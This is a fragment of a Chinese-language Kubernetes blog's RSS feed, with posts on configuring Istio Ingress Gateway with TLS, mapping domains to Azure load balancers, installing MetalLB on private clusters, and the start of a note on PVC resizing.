&lt;li&gt;部分 Kubernetes 特性并未完整集成，例如 Pod 检测、Headless 服务。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;迄今为止，Istio 获得了巨大成就。如果是对系统缺乏深入理解的用户，要在生产环境中操作 Kubernetes 还是有一定难度的。我们认为，Istio 1.0 的完成度是合乎要求的，目前的用户多数都要归为超级用户的类别。短期之内，需要托管的 Istio 产品来满足消费市场的需要。还需要持续关注性能、伸缩以及策略处理方面的进展。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 大入门 - Ingress</title>
      <link>/post/istio-ingress-dive/</link>
      <pubDate>Sat, 11 Aug 2018 14:44:26 +0800</pubDate>
      <guid>/post/istio-ingress-dive/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;本文涉及细节较多，需读者对 Docker、Kubernetes 以及 Istio 有一定了解和实践经验，否则可能难于操作。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Istio 从 v1alpha3 开始，用 Ingress Gateway 组件替代了符合 Kubernetes 规范的 Ingress Controller，因此对入站流量具有了更大的控制能力，但是用法也有了较大不同。&lt;/p&gt;

&lt;p&gt;安装：在使用 Helm 进行 Istio 部署的时候，需要使用下面的设置来启用 Ingress Gateway：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;gateways:
  enabled: true
  istio-ingressgateway:
    enabled: true
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;基本概念&#34;&gt;基本概念&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;VirtualService&lt;/code&gt; 是流量控制的核心组件，起着承上（&lt;code&gt;Gateway&lt;/code&gt;）启下（&lt;code&gt;DestinationRule&lt;/code&gt;）的作用。这三种对象在本文中涉及的主要职责：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Gateway&lt;/code&gt; 对象：

&lt;ul&gt;
&lt;li&gt;选择 Gateway Ingress Controller。&lt;/li&gt;
&lt;li&gt;设置端点开放方式：域名、端口、入站协议等。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DestinationRule&lt;/code&gt;：

&lt;ul&gt;
&lt;li&gt;定义负载均衡行为。&lt;/li&gt;
&lt;li&gt;定义服务版本子集。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VirtualService&lt;/code&gt;：

&lt;ul&gt;
&lt;li&gt;根据 Gateway 选择服务版本。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据 &lt;a href=&#34;https://istio.io/docs/reference/config/istio.networking.v1alpha3/#VirtualService&#34; target=&#34;_blank&#34;&gt;VirtualService 对象文档&lt;/a&gt;中的说明，&lt;code&gt;VirtaulService&lt;/code&gt; 对象中的 &lt;code&gt;gateways&lt;/code&gt; 字段的类型为 &lt;code&gt;string[]&lt;/code&gt;，包括一或多个字符串值。如果省略该字段内容，会隐式的赋值为 &lt;code&gt;[&amp;quot;mesh&amp;quot;]&lt;/code&gt;，&lt;code&gt;mesh&lt;/code&gt; 网关指代所有的网格内通信。如果要对外提供服务，就需要定义 &lt;code&gt;Gateway&lt;/code&gt; 对象，并在 &lt;code&gt;gateways&lt;/code&gt; 字段中进行赋值。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，一旦在 &lt;code&gt;gateways&lt;/code&gt; 中填写了非缺省的对象名称，要继续对内部通信进行流量控制，必须显式的将内置的 &lt;code&gt;mesh&lt;/code&gt; 对象名称也加入到列表之中。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;h3 id=&#34;环境准备&#34;&gt;环境准备&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;安装和部署 Kubernetes 以及 Istio，并启用 Ingress Gateway 支持。&lt;/li&gt;
&lt;li&gt;将备用的两个域名（假设为 &lt;code&gt;flask.example2.com&lt;/code&gt; 以及 &lt;code&gt;flask.example1.com&lt;/code&gt;）指向 &lt;code&gt;istio-ingressgateway&lt;/code&gt; 服务的外部 IP。&lt;/li&gt;
&lt;li&gt;为测试域名生成 HTTPS 证书。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;域名准备&#34;&gt;域名准备&lt;/h3&gt;

&lt;h3 id=&#34;工作负载&#34;&gt;工作负载&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;首先编写一个基于 Flask 的 Python 脚本，并打入镜像，脚本功能很简单，显示环境变量中的 &amp;ldquo;VERSION&amp;rdquo;。&lt;/li&gt;
&lt;li&gt;接下来编写 Dockerfile，安装 Python3、Flask，并进行构建和推送。&lt;/li&gt;
&lt;li&gt;编写 Kubernetes 工作负载文件，常见的 Deployment + Service 模式。&lt;/li&gt;
&lt;li&gt;在 Kubernetes 上运行工作负载。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;以上涉及代码可以在页面尾部获取。&lt;/p&gt;

&lt;h3 id=&#34;目标规则定义&#34;&gt;目标规则定义&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
  name: flask
spec:
  host: flask
  trafficPolicy:
    loadBalancer:
      simple: RANDOM
  subsets:
  - name: v1
    labels:
      version: v1
  - name: v2
    labels:
      version: v2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里根据工作负载中的标签，将 &lt;code&gt;flask&lt;/code&gt; 服务拆分为 &lt;code&gt;v1&lt;/code&gt; 和 &lt;code&gt;v2&lt;/code&gt; 两个版本。&lt;/p&gt;

&lt;h2 id=&#34;在外网开放服务&#34;&gt;在外网开放服务&lt;/h2&gt;

&lt;p&gt;这里我们设计，将所有外网请求经过 &lt;code&gt;flask.example1.com&lt;/code&gt; 路由到 &lt;code&gt;v2&lt;/code&gt; 版本上。&lt;/p&gt;

&lt;p&gt;首先要编写一个 &lt;code&gt;Gateway&lt;/code&gt; 定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: flask-gateway
spec:
  selector:
    istio: ingressgateway
  servers:
    - port:
        number: 80
        name: http
        protocol: HTTP
      hosts:
        - flask.example1.com
        - flask.example2.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里定义了一个 &lt;code&gt;Gateway&lt;/code&gt;，其中要求 80 端口响应两个域名的请求。接下来定义一个 &lt;code&gt;VirtualService&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
    name: flask
spec:
    hosts:
    - &amp;quot;flask.example1.com&amp;quot;
    gateways:
    - flask-gateway
    http:
    - route:
        - destination:
            host: flask
            subset: v2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后使用 curl 进行访问：&lt;code&gt;curl http://flask.example1.com&lt;/code&gt; 会发现返回了字符串 &amp;ldquo;v2&amp;rdquo;，证明我们的定义生效了，该域名指向了 &lt;code&gt;v2&lt;/code&gt; 服务。&lt;/p&gt;

&lt;p&gt;再用 curl 访问第二个域名 &lt;code&gt;curl http://flask.example2.com&lt;/code&gt;，会看到返回了 404，这是因为我们的 &lt;code&gt;Gateway&lt;/code&gt; 虽然接收了请求，但是并没有服务路由完成这一请求。那么可以再定义一个 &lt;code&gt;VirtualService&lt;/code&gt;，让 &lt;code&gt;flask.example2.com&lt;/code&gt; 域名指向 &lt;code&gt;v1&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
    name: flask1
spec:
    hosts:
    - &amp;quot;flask.example2.com&amp;quot;
    gateways:
    - flask-gateway
    http:
    - route:
        - destination:
            host: flask
            subset: v1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次使用 &lt;code&gt;curl http://flask.example2.com&lt;/code&gt;，访问，会看到返回结果变成了 &lt;code&gt;v1&lt;/code&gt;，证明我们的服务定义生效了。&lt;/p&gt;

&lt;h2 id=&#34;将一个域名服务升级为-tls&#34;&gt;将一个域名服务升级为 tls&lt;/h2&gt;

&lt;p&gt;随意修改一个需求，要求开放 &lt;code&gt;flask.example2.com&lt;/code&gt; 为 http，而 &lt;code&gt;flask.example1.com&lt;/code&gt; 升级为 https，既然涉及 https，就要用到证书，&lt;a href=&#34;https://istio.io/zh/docs/tasks/traffic-management/secure-ingress/&#34; target=&#34;_blank&#34;&gt;官方文档（中文版哦）&lt;/a&gt;陈述如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;具体说来就是使用 kubectl 命令在命名空间 istio-system 中创建一个 secret 对象，命名为 istio-ingressgateway-certs。Istio 网关会自动载入这个 secret。
这里的 secret 必须 在 istio-system 命名空间中，并且命名为 istio-ingressgateway-certs，否则就不会被正确载入，也就无法 Istio gateway 中使用了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接着是使用命令为 &lt;code&gt;flask.example1.com&lt;/code&gt; 的证书创建 &lt;code&gt;Secret&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create -n istio-system secret tls \
    istio-ingressgateway-certs \
    --key key.pem --cert cert.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后修改我们的 &lt;code&gt;Gateway&lt;/code&gt; 定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: flask-gateway
spec:
  selector:
    istio: ingressgateway
  servers:
    - port:
        number: 80
        name: http
        protocol: HTTP
      hosts:
        - flask.example2.com
    - port:
        number: 443
        name: https-rocks
        protocol: HTTPS
      tls:
        mode: SIMPLE
        serverCertificate: /etc/istio/ingressgateway-certs/tls.crt
        privateKey: /etc/istio/ingressgateway-certs/tls.key
      hosts:
        - flask.example1.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后再次使用 curl 分别访问 &lt;code&gt;https://flask.example1.com/version&lt;/code&gt; 以及 &lt;code&gt;http://flask.example2.com/version&lt;/code&gt;，会发现返回了预期结果，而一旦错用 &lt;code&gt;http&lt;/code&gt; 和 &lt;code&gt;https&lt;/code&gt;，就会出现异常，这是因为我们的 &lt;code&gt;Gateway&lt;/code&gt; 限制了端口。&lt;/p&gt;

&lt;p&gt;这里如此操作的原因可以在他的部署中找到：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get deployment istio-ingressgateway \
    -o yaml -n istio-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回的 YAML 中会有这么一段&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
- mountPath: /etc/istio/ingressgateway-ca-certs
    name: ingressgateway-ca-certs
    readOnly: true
...
volumes:
- name: ingressgateway-certs
secret:
    defaultMode: 420
    optional: true
    secretName: istio-ingressgateway-certs
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上方代码可以看到，Ingress Gateway 中用可选方式加载了一个名称为 &lt;code&gt;istio-ingressgateway-certs&lt;/code&gt; 的 &lt;code&gt;Secret&lt;/code&gt;，并 Mount 到了 &lt;code&gt;/etc/istio/ingressgateway-ca-certs&lt;/code&gt; 目录之中，这就是上文中要求我们固定 Secret 名称和命名空间的原因。众所周知，&lt;code&gt;tls&lt;/code&gt; 类型的 &lt;code&gt;Secret&lt;/code&gt; 加载后会成为 &lt;code&gt;tls.key&lt;/code&gt; 和 &lt;code&gt;tls.crt&lt;/code&gt; 两个文件，因此在我们的 &lt;code&gt;Gateway&lt;/code&gt; 定义中就使用了 &lt;code&gt;/etc/istio/ingressgateway-certs/tls.crt&lt;/code&gt; 这样的文件名。&lt;/p&gt;

&lt;h2 id=&#34;所有域名都升级为-tls&#34;&gt;所有域名都升级为 tls&lt;/h2&gt;

&lt;p&gt;根据上一节的描写，不难发现按照官方文档，一个 &lt;code&gt;Gateway&lt;/code&gt; 是无法处理两个域名的 https 的：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;tls secret 只能包含一个证书对。&lt;/li&gt;
&lt;li&gt;泛域名证书可以完成这一任务，但因为 Envoy 的限制，这里无法同时使用两个泛域名。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;讨论到这里就很明显了，关键在于如何加载多个证书对，可以修改前面所说的加载指令为加载多个 &lt;code&gt;Secret&lt;/code&gt;，或者干脆换成 &lt;code&gt;Configmap&lt;/code&gt;，当然这样会引起服务中断，&lt;code&gt;Configmap&lt;/code&gt; 用于存放证书也略显粗糙——好在我们还可以换用 &lt;code&gt;Generic&lt;/code&gt; 类型的证书，这里我们可以删除原有 Secret 重新创建 ：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl delete secret istio-ingressgateway-certs \
    -n istio-system

kubectl create secret generic  \
    istio-ingressgateway-certs \
    -n istio-system \
    --from-file=rocks-crt.pem \
    --from-file=rocks-key.pem \
    --from-file=xyz-crt.pem \
    --from-file=xyz-key.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来改造我们的 &lt;code&gt;Gateway&lt;/code&gt; 定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
  name: flask-gateway
spec:
  selector:
    istio: ingressgateway
  servers:
  - port:
      number: 443
      name: https-rocks
      protocol: HTTPS
    tls:
      mode: SIMPLE
      serverCertificate: /etc/istio/ingressgateway-certs/rocks-crt.pem
      privateKey: /etc/istio/ingressgateway-certs/rocks-key.pem
    hosts:
    - &amp;quot;flask.example1.com&amp;quot;
  - port:
      number: 443
      name: https-xyz
      protocol: HTTPS
    tls:
      mode: SIMPLE
      serverCertificate: /etc/istio/ingressgateway-certs/xyz-crt.pem
      privateKey: /etc/istio/ingressgateway-certs/xyz-key.pem
    hosts:
    - &amp;quot;flask.example2.com&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样一来，我们开放了两个 HTTPS 端口，各自使用不同的证书，分别都可以通过 &lt;code&gt;curl&lt;/code&gt; 命令获得正确结果了。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tls.mode&lt;/code&gt; 实际还支持双向和透传两种方式，都可以在流量控制参考中找到相关内容。&lt;/p&gt;

&lt;h2 id=&#34;涉及链接&#34;&gt;涉及链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Istio 流量控制参考：&lt;code&gt;https://istio.io/docs/reference/config/istio.networking.v1alpha3/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用 HTTPS 加密 Gateway：&lt;code&gt;https://istio.io/zh/docs/tasks/traffic-management/secure-ingress/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;代码&#34;&gt;代码&lt;/h2&gt;

&lt;h3 id=&#34;python-脚本&#34;&gt;Python 脚本&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

from flask import Flask
import os

app = Flask(__name__)

@app.route(&amp;quot;/&amp;quot;)
def hello_world():
    return &amp;quot;Hello, World!&amp;quot;

@app.route(&amp;quot;/version&amp;quot;)
def getversion():
    return os.getenv(&amp;quot;VERSION&amp;quot;)
if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(host=&amp;quot;0.0.0.0&amp;quot;, port=80, debug=True)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;dockerfile&#34;&gt;Dockerfile&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM alpine
RUN  apk add --update --no-cache python3 &amp;amp;&amp;amp; \
  mkdir /web &amp;amp;&amp;amp; \
  pip3 install Flask
COPY server.py /web
CMD &amp;quot;/web/server.py&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;kubernetes-工作负载&#34;&gt;Kubernetes 工作负载&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: flask
  labels:
    app: flask
spec:
  ports:
    - name: http
      port: 80
  selector:
    app: flask
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flask-v1
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flask
        version: v1
    spec:
      containers:
        - image: &#39;abc:25000/python-flask-server:v2&#39;
          imagePullPolicy: IfNotPresent
          name: flask
          env:
            - name: VERSION
              value: v1
          ports:
            - containerPort: 80
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flask-v2
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flask
        version: v2
    spec:
      containers:
        - image: &#39;abc:25000/python-flask-server:v2&#39;
          imagePullPolicy: IfNotPresent
          name: flask
          env:
            - name: VERSION
              value: v2
          ports:
            - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>小技巧：外部域名挂接 Azure 中的 K8S 负载均衡</title>
      <link>/post/azure-lb/</link>
      <pubDate>Wed, 25 Jul 2018 09:13:35 +0800</pubDate>
      <guid>/post/azure-lb/</guid>
      <description>&lt;p&gt;使用 &lt;a href=&#34;https://github.com/Azure/acs-engine&#34; target=&#34;_blank&#34;&gt;ACS Engine&lt;/a&gt; 在 Azure 上安装好了 Kubernetes 之后，就可以使用 Loadbalancer 类型的服务了。测试条件下，一般会使用不同域名通过同一个 Ingress Controller 访问不同服务的方式。&lt;/p&gt;

&lt;p&gt;例如我们创建一个 Nginx Ingress Controller，服务启动之后会看到大概这样的信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl describe svc ingress-nginx
Name:                     ingress-nginx
Namespace:                ingress-nginx
...
Type:                     LoadBalancer
IP:                       10.0.22.78
LoadBalancer Ingress:     104.216.145.198
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来可以使用 &lt;a href=&#34;https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest&#34; target=&#34;_blank&#34;&gt;az&lt;/a&gt; 命令查询我们 Azure 中已经生效的外部 IP 所对应的记录内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;az network public-ip list \
--query &amp;quot;[?ipAddress==&#39;104.216.145.198&#39;]&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会得到一条 JSON 记录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
&amp;quot;dnsSettings&amp;quot;: {
    &amp;quot;domainNameLabel&amp;quot;: &amp;quot;k8s-5b&amp;quot;,
    &amp;quot;fqdn&amp;quot;: &amp;quot;k8s-5b.cloudapp.azure.com&amp;quot;,
    &amp;quot;reverseFqdn&amp;quot;: null
},
...
&amp;quot;name&amp;quot;: &amp;quot;...&amp;quot;,
&amp;quot;idleTimeoutInMinutes&amp;quot;: 4,
&amp;quot;ipAddress&amp;quot;: &amp;quot;104.216.145.198&amp;quot;,
&amp;quot;ipConfiguration&amp;quot;: {
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来，我们可以给这个 Ip 设置一个 AZURE 的内部域名，同样使用 &lt;code&gt;az&lt;/code&gt; 客户端：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;az network public-ip update
--name=k8s-master-ip-k8s-5b55d212-28708154 \
--set dnsSettings.domainN
ameLabel=&#39;awesome-name-fcsaqz87d&#39; \
--resource-group=k8s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;命令执行后，会返回一长串的描述信息，跟上述的 List 结果类似，节选我们的变更部分：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;&amp;quot;dnsSettings&amp;quot;: {
    &amp;quot;domainNameLabel&amp;quot;: &amp;quot;awesome-name-fcsaqz87d&amp;quot;,
    &amp;quot;fqdn&amp;quot;: &amp;quot;awesome-name-fcsaqz87d.southeastasia.cloudapp.azure.com&amp;quot;,
    &amp;quot;reverseFqdn&amp;quot;: null
  },
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里可以看到，这个外部 IP 有了一个域名，接下来，我们可以在我们的域名提供商控制台上，为域名设置 CNAME 记录，指到这个 &lt;code&gt;fqdn&lt;/code&gt; 上，然后可以用 nslookup 上进行验证，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;nslookup prom.abc.xyz
canonical name = awesome-name-fcsaqz87d.southeastasia.cloudapp.azure.com.
Name:   awesome-name-fcsaqz87d.southeastasia.cloudapp.azure.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;就可以用外部域名来访问我们 Kubernetes 上的 Ingress 资源了。&lt;/p&gt;

&lt;p&gt;更进一步的，可以将泛域名设置到这一 IP 上，同时使用 &lt;a href=&#34;https://letsencrypt.org/&#34; target=&#34;_blank&#34;&gt;Let&amp;rsquo;s Encrypt&lt;/a&gt; 的泛域名证书来完成对服务的 HTTPS 加固过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Metallb - 贫苦 K8S 用户的负载均衡支持</title>
      <link>/post/intro-metallb/</link>
      <pubDate>Tue, 24 Jul 2018 00:09:48 +0800</pubDate>
      <guid>/post/intro-metallb/</guid>
      <description>

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;在私有网络上运行 Kubernetes，和御三家相比，对 &lt;code&gt;LoadBalancer&lt;/code&gt; 类型的服务的支持应该是众多表面差异中最醒目的一个了。类型为 &lt;code&gt;LoadBalancer&lt;/code&gt; 的服务在 Kubernetes 中并没有直接支持，NodePort 和 ExternalIP 方案让很多私有云用户成为了 K8S 世界中的二等公民。接下来介绍的 &lt;a href=&#34;https://metallb.universe.tf/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;Metallb&lt;/code&gt;&lt;/a&gt;，就给私有 Kubernetes 用户带来了一个方便、可用（而且不太成熟）的软件解决方案。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;该项目发布于 2017 年底，当前处于 Beta 阶段。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Metallb 会在 Kubernetes 内运行，监控服务对象的变化，一旦察觉有新的 &lt;code&gt;LoadBalancer&lt;/code&gt; 服务运行，并且没有可申请的负载均衡器之后，就会完成两部分的工作：&lt;/p&gt;

&lt;h3 id=&#34;地址分配&#34;&gt;地址分配&lt;/h3&gt;

&lt;p&gt;用户需要在配置中提供一个地址池，Metallb 将会在其中选取地址分配给服务。&lt;/p&gt;

&lt;h3 id=&#34;地址广播&#34;&gt;地址广播&lt;/h3&gt;

&lt;p&gt;根据不同配置，Metallb 会以二层（ARP/NDP）或者 BGP 的方式进行地址的广播。&lt;/p&gt;

&lt;h2 id=&#34;支持范围&#34;&gt;支持范围&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;不支持 IPVS&lt;/p&gt;
&lt;/blockquote&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;网络插件&lt;/th&gt;
&lt;th&gt;兼容性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Calico&lt;/td&gt;
&lt;td&gt;部分支持（有附加文档）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Flannel&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Kube-router&lt;/td&gt;
&lt;td&gt;不支持（正在跟进）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Romana&lt;/td&gt;
&lt;td&gt;支持（有附加文档）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Weave Net&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;一个小测试&#34;&gt;一个小测试&lt;/h2&gt;

&lt;h3 id=&#34;安装&#34;&gt;安装&lt;/h3&gt;

&lt;p&gt;Metallb 支持 Helm 和 YAML 两种安装方法，这里我们使用第二种：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -f https://raw.githubusercontent.com/google/metallb/v0.7.1/manifests/metallb.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;很简单，Metallb 就会开始安装，会生成自己的命名空间以及 RBAC 配置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get pods -n metallb-system
NAME                         READY     STATUS    RESTARTS   AGE
controller-b7896bf94-g449l   1/1       Running   0          51m
speaker-mt6kd                1/1       Running   0          51m
speaker-sqbn4                1/1       Running   0          51m
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;配置&#34;&gt;配置&lt;/h3&gt;

&lt;p&gt;接下来我们要生成一个 Configmap 文件，为 Metallb 设置网址范围以及协议相关的选择和配置，这里以一个简单的二层配置为例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  namespace: metallb-system
  name: config
data:
  config: |
    address-pools:
    - name: my-ip-space
      protocol: layer2
      addresses:
      - 10.211.55.240/28
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：这里的 IP 地址范围需要跟集群实际情况相对应。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl apply&lt;/code&gt; 命令应用之后，使用 &lt;code&gt;kubectl logs -f [metallb-controller-pod]&lt;/code&gt; 会看到配置更新过程。&lt;/p&gt;

&lt;h3 id=&#34;测试&#34;&gt;测试&lt;/h3&gt;

&lt;p&gt;创建一个 Nginx 的服务，服务类型为 &lt;code&gt;LoadBalancer&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1beta2
kind: Deployment
metadata:
  name: nginx
spec:
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1
        ports:
        - name: http
          containerPort: 80

---
apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  ports:
  - name: http
    port: 80
    protocol: TCP
    targetPort: 80
  selector:
    app: nginx
  type: LoadBalancer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;服务创建运行之后，可以列出服务信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl get svc
NAME       TYPE           CLUSTER-IP      EXTERNAL-IP     PORT(S)         AGE
kube-dns   ClusterIP      10.96.0.10      &amp;lt;none&amp;gt;          53/UDP,53/TCP   7d
nginx      LoadBalancer   10.96.245.212   10.211.55.240   80:32207/TCP    54m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里就发现，LoadBalancer 类型的服务，分配到了我们地址池中的第一个 IP。&lt;/p&gt;

&lt;p&gt;用 &lt;code&gt;curl http://10.211.55.240&lt;/code&gt; 验证，就会发现返回了 Nginx 的欢迎信息。&lt;/p&gt;

&lt;h2 id=&#34;补充&#34;&gt;补充&lt;/h2&gt;

&lt;p&gt;除了这里提到的一点点简单配置之外，Metallb 的配置能力还是比较强大的，这点可以参考官网，其中谈及了不少较为务实的案例，另外还提到了部分 Issue 供用户参考。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>实验手记：Kubernetes 中进行 PVC 的扩容</title>
      <link>/post/resizing-pvc/</link>
      <pubDate>Sun, 15 Jul 2018 00:11:28 +0800</pubDate>
      <guid>/post/resizing-pvc/</guid>
      <description>

&lt;p&gt;Kubernetes 1.11 版本中，PVC 的扩容功能进入了 Beta 阶段，一般来说，Kubernetes 功能进入 Beta 阶段就意味着基本可以用于生产了。这里就做几个小测试，看看这一功能的使用方法。&lt;/p&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;首先当然是要有一个 Kubernetes 1.11 版本的集群。并且提供了支持 Auto provision 的存储。下面的实验是基于 Azure 的 ACS-Engine 集群。&lt;/p&gt;

&lt;h3 id=&#34;创建-storageclass&#34;&gt;创建 StorageClass&lt;/h3&gt;

&lt;p&gt;接下来准备两个 Storage Class 对象，分别命名为 &lt;code&gt;common&lt;/code&gt; 和 &lt;code&gt;expend&lt;/code&gt;，二者主体基本一致，文件名分别为 &lt;code&gt;sc-common.yaml&lt;/code&gt; 以及 &lt;code&gt;sc-exp.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: exp  # sc-common.yaml 中这里的值为 common
parameters:
  cachingmode: None
  kind: Managed
  storageaccounttype: Standard_LRS
provisioner: kubernetes.io/azure-disk
reclaimPolicy: Delete
volumeBindingMode: Immediate
allowVolumeExpansion: true # sc-common.yaml 中删掉这一行
&lt;/code&gt;&lt;/pre&gt;

